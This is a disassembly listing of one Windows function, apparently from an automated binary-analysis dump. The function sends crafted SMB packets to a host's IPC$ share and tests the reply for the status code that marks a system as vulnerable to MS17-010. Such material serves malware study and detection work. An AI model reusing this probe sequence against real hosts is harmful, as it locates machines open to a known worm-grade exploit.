Function at 0x4175d0
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48aa40
mov eax, dword fs:[0]
push eax
sub esp, 0x194
mov eax, dword [0x4bd008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x160], ecx
push 7
push str.MS17010
lea ecx, [ebp - 0x124]
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0xf
mov byte [ebp - 0x124], 0
call fcn.00403320
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x90]
push 0x224
push str.x00x00x00x85xffx53x4dx42x72x00x00x00x00x18x53xc0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxfex00x00x40x00x00x62x00x02x50x43x20x4ex45x54x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4cx41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4cx4dx20x30x2ex31x32x00
mov dword [ebp - 0xc4], 0x1f4
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
call fcn.00403320
lea edx, [ebp - 0x90]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf4]
call fcn.004429c0
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x4176bc
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4176b2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4180eb
push edx
push ecx
call fcn.004449d2
add esp, 8
push 0x230
push str.x00x00x00x88xffx53x4dx42x73x00x00x00x00x18x07xc0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxfex00x00x40x00x0dxffx00x88x00x04x11x0ax00x00x00x00x00x00x00x01x00x00x00x00x00x00x00xd4x00x00x00x4bx00x00x00x00x00x00x57x00x69x00x6ex00x64x00x6fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6ex00x64x00x6fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00x2ex00x30x00x00x00
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
call fcn.00403320
lea edx, [ebp - 0x90]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x10c]
call fcn.004429c0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x417736
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41772c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4180f0
push edx
push ecx
call fcn.004449d2
add esp, 8
push 0x190
push str.x00x00x00x60xffx53x4dx42x75x00x00x00x00x18x07xc0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxfex00x08x40x00x04xffx00x60x00x08x00x01x00x35x00x00x5cx00x5cx00x31x00x39x00x32x00x2ex00x31x00x36x00x38x00x2ex00x31x00x37x00x35x00x2ex00x31x00x32x00x38x00x5cx00x49x00x50x00x43x00x24x00x00x00x3fx3fx3fx3fx3fx00
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
call fcn.00403320
lea edx, [ebp - 0x90]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xdc]
call fcn.004429c0
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x4177b0
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4177a6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4180f5
push edx
push ecx
call fcn.004449d2
add esp, 8
push 0x138
push str.x00x00x00x4axffx53x4dx42x25x00x00x00x00x18x01x28x00x00x00x00x00x00x00x00x00x00x00x00x00x08x8exa3x01x08x52x98x10x00x00x00x00xffxffxffxffx00x00x00x00x00x00x00x00x00x00x00x00x4ax00x00x00x4ax00x02x00x23x00x00x00x07x00x5cx50x49x50x45x5cx00
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
call fcn.00403320
lea edx, [ebp - 0x90]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xc0]
call fcn.004429c0
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x41782a
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x417820
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4180fa
push edx
push ecx
call fcn.004449d2
add esp, 8
push 0x148
push str.x00x00x00x4exffx53x4dx42x32x00x00x00x00x18x07xc0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxfex00x08x41x00x0fx0cx00x00x00x01x00x00x00x00x00x00x00xa6xd9xa4x00x00x00x0cx00x42x00x00x00x4ex00x01x00x0ex00x0dx00x00x00x00x00x00x00x00x00x00x00x00x00x00
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
call fcn.00403320
lea edx, [ebp - 0x90]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x154]
call fcn.004429c0
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x4178a4
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41789a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4180ff
push edx
push ecx
call fcn.004449d2
add esp, 8
push 0x64
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.0044a330
mov edi, 0xf
mov dword [ebp - 0x98], 0
add esp, 0xc
mov dword [ebp - 0x94], edi
mov byte [ebp - 0xa8], 0
mov byte [ebp - 4], 0x10
call fcn.0043a6b0
test eax, eax
jne 0x41809b
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
mov ebx, eax
push 4
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x158], ebx
push eax
push 0x1006
push 0xffff
push ebx
call esi
push 4
lea eax, [ebp - 0xc4]
push eax
push 0x1005
push 0xffff
push ebx
call esi
cmp ebx, 0xffffffff
je 0x4180b3
mov esi, dword [ebp - 0x160]
sub esp, 0x18
mov ecx, esp
lea eax, [esi + 0x1c]
push eax
call fcn.00403180
push dword [esi + 0x34]
lea eax, [ebp - 0x158]
push eax
call fcn.0043a6f0
test eax, eax
jne 0x41809b
cmp dword [ebp - 0xe0], 0x10
lea eax, [ebp - 0xf4]
mov ebx, dword [ebp - 0x158]
cmovae eax, dword [ebp - 0xf4]
push 0
push dword [ebp - 0xe4]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4180b3
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call edi
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.0043a7d0
test eax, eax
jne 0x418095
cmp dword [ebp - 0x94], 0x10
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0xa8]
cmovae eax, dword [ebp - 0xa8]
mov byte [eax], 0
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.0043a7a0
test eax, eax
jne 0x418095
push 0x32
call edi
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.0043a7d0
test eax, eax
jne 0x418095
push 2
push 0x20
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0xa8]
call fcn.00418720
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x90]
mov esi, dword [ebp - 0x7c]
lea ecx, [ebp - 0xdc]
mov ebx, dword [ebp - 0x90]
cmp esi, 0x10
mov dword [ebp - 0x98], 0
cmovae eax, ebx
cmp dword [ebp - 0xc8], 0x10
cmovae ecx, dword [ebp - 0xdc]
cmp esi, 0x10
movzx eax, byte [eax]
mov byte [ecx + 0x20], al
lea eax, [ebp - 0x90]
cmovae eax, ebx
lea ecx, [ebp - 0xdc]
cmp dword [ebp - 0xc8], 0x10
cmovae ecx, dword [ebp - 0xdc]
movzx eax, byte [eax + 1]
cmp dword [ebp - 0x94], 0x10
mov byte [ecx + 0x21], al
lea eax, [ebp - 0xa8]
cmovae eax, dword [ebp - 0xa8]
mov byte [eax], 0
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.0043a7a0
test eax, eax
jne 0x418046
push 0x32
call edi
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.0043a7d0
test eax, eax
jne 0x418046
push 2
push 0x1c
lea eax, [ebp - 0x13c]
push eax
lea ecx, [ebp - 0xa8]
call fcn.00418720
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x13c]
cmp dword [ebp - 0x128], 0x10
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x98], 0
cmovae eax, dword [ebp - 0x13c]
cmp dword [ebp - 0xac], 0x10
cmovae ecx, dword [ebp - 0xc0]
movzx eax, byte [eax]
cmp dword [ebp - 0x128], 0x10
mov byte [ecx + 0x1c], al
lea eax, [ebp - 0x13c]
cmovae eax, dword [ebp - 0x13c]
lea ecx, [ebp - 0xc0]
cmp dword [ebp - 0xac], 0x10
cmovae ecx, dword [ebp - 0xc0]
cmp esi, 0x10
movzx eax, byte [eax + 1]
mov byte [ecx + 0x1d], al
lea eax, [ebp - 0x90]
cmovae eax, ebx
lea ecx, [ebp - 0xc0]
cmp dword [ebp - 0xac], 0x10
cmovae ecx, dword [ebp - 0xc0]
cmp esi, 0x10
movzx eax, byte [eax]
mov byte [ecx + 0x20], al
lea eax, [ebp - 0x90]
cmovae eax, ebx
lea ecx, [ebp - 0xc0]
cmp dword [ebp - 0xac], 0x10
cmovae ecx, dword [ebp - 0xc0]
movzx eax, byte [eax + 1]
cmp dword [ebp - 0x94], 0x10
mov byte [ecx + 0x21], al
lea eax, [ebp - 0xa8]
cmovae eax, dword [ebp - 0xa8]
mov byte [eax], 0
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.0043a7a0
test eax, eax
jne 0x417ffc
push 0x32
call edi
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.0043a7d0
test eax, eax
jne 0x417ffc
mov edi, dword [ebp - 0x94]
lea eax, [ebp - 0xa8]
mov esi, dword [ebp - 0xa8]
cmp edi, 0x10
cmovae eax, esi
cmp byte [eax + 9], 5
jne 0x418008
cmp edi, 0x10
lea eax, [ebp - 0xa8]
cmovae eax, esi
cmp byte [eax + 0xa], 2
jne 0x418008
cmp edi, 0x10
lea eax, [ebp - 0xa8]
cmovae eax, esi
cmp byte [eax + 0xb], 0
jne 0x418008
cmp edi, 0x10
lea eax, [ebp - 0xa8]
cmovae eax, esi
cmp byte [eax + 0xc], 0xc0
jne 0x418008
mov edx, dword [ebp - 0x160]
lea ecx, [ebp - 0x124]
cmp dword [ebp - 0x110], 0x10
lea eax, [edx + 4]
mov dword [ebp - 0x15c], eax
cmovae ecx, dword [ebp - 0x124]
cmp dword [eax + 0x14], 0x10
jb 0x417ca4
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
cmp dword [edx + 0x30], 0x10
lea eax, [edx + 0x1c]
jb 0x417caf
mov eax, dword [eax]
push ecx
push dword [ebp - 0x15c]
push eax
lea eax, [ebp - 0x78]
push str._s__s__s
push eax
call fcn.00401410
add esp, 0x14
push 0x4c0f64
call fcn.0044684a
add esp, 4
test eax, eax
je 0x417ce2
push eax
call fcn.004463ca
add esp, 4
sub esp, 0x18
lea ecx, [ebp - 0x78]
mov edx, esp
mov dword [ebp - 0x164], esp
lea eax, [ecx + 1]
mov dword [ebp - 0x15c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417d10
sub ecx, dword [ebp - 0x15c]
lea eax, [ebp - 0x78]
push ecx
push eax
mov ecx, edx
call fcn.00403320
mov edx, dword [ebp - 0x160]
mov byte [ebp - 4], 0x13
push dword [edx + 0x34]
lea eax, [edx + 4]
push 1
push 1
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00403180
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x12
call fcn.00419430
push eax
mov byte [ebp - 4], 0x14
call fcn.00409b20
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x12
call fcn.00419570
push 0x4c0f64
call fcn.0044686f
add esp, 4
test eax, eax
je 0x417d8a
push eax
call fcn.004463ca
add esp, 4
push dword [ebp - 0x158]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0x128]
cmp eax, 0x10
jb 0x417dd2
mov ecx, dword [ebp - 0x13c]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x417dc8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418104
push edx
push ecx
call fcn.004449d2
add esp, 8
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x417e03
inc ecx
mov eax, ebx
cmp ecx, 0x1000
jb 0x417df9
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418109
push ecx
push ebx
call fcn.004449d2
add esp, 8
cmp edi, 0x10
jb 0x417e31
inc edi
mov eax, esi
cmp edi, 0x1000
jb 0x417e27
mov esi, dword [esi - 4]
add edi, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41810e
push edi
push esi
call fcn.004449d2
add esp, 8
mov edx, dword [ebp - 0x140]
cmp edx, 0x10
jb 0x417e6b
mov ecx, dword [ebp - 0x154]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x417e61
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418113
push edx
push ecx
call fcn.004449d2
add esp, 8
mov edx, dword [ebp - 0xac]
cmp edx, 0x10
jb 0x417ea5
mov ecx, dword [ebp - 0xc0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x417e9b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418118
push edx
push ecx
call fcn.004449d2
add esp, 8
mov edx, dword [ebp - 0xc8]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp edx, 0x10
jb 0x417efa
mov ecx, dword [ebp - 0xdc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x417ef0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41811d
push edx
push ecx
call fcn.004449d2
add esp, 8
mov edx, dword [ebp - 0xf8]
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], 0
cmp edx, 0x10
jb 0x417f4f
mov ecx, dword [ebp - 0x10c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x417f45
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418122
push edx
push ecx
call fcn.004449d2
add esp, 8
mov edx, dword [ebp - 0xe0]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
cmp edx, 0x10
jb 0x417fa4
mov ecx, dword [ebp - 0xf4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x417f9a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418127
push edx
push ecx
call fcn.004449d2
add esp, 8
mov edx, dword [ebp - 0x110]
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
cmp edx, 0x10
jb 0x4180cf
mov ecx, dword [ebp - 0x124]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4180c5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41812c
jmp 0x4180c5
mov edi, dword [ebp - 0x94]
mov esi, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x128]
cmp eax, 0x10
jb 0x418052
mov ecx, dword [ebp - 0x13c]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x41803a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418131
push edx
push ecx
call fcn.004449d2
add esp, 8
jmp 0x418052
mov edi, dword [ebp - 0x94]
mov esi, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x4180a1
inc ecx
mov eax, ebx
cmp ecx, 0x1000
jb 0x418079
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418136
push ecx
push ebx
call fcn.004449d2
mov ebx, dword [ebp - 0x158]
add esp, 8
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x417e03
mov edi, dword [ebp - 0x94]
mov esi, dword [ebp - 0xa8]
mov ebx, dword [ebp - 0x158]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x417e03
mov esi, dword [ebp - 0xa8]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x417e03
push edx
push ecx
call fcn.004449d2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00444991
mov esp, ebp
pop ebp
ret
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
call fcn.0045abc1
int3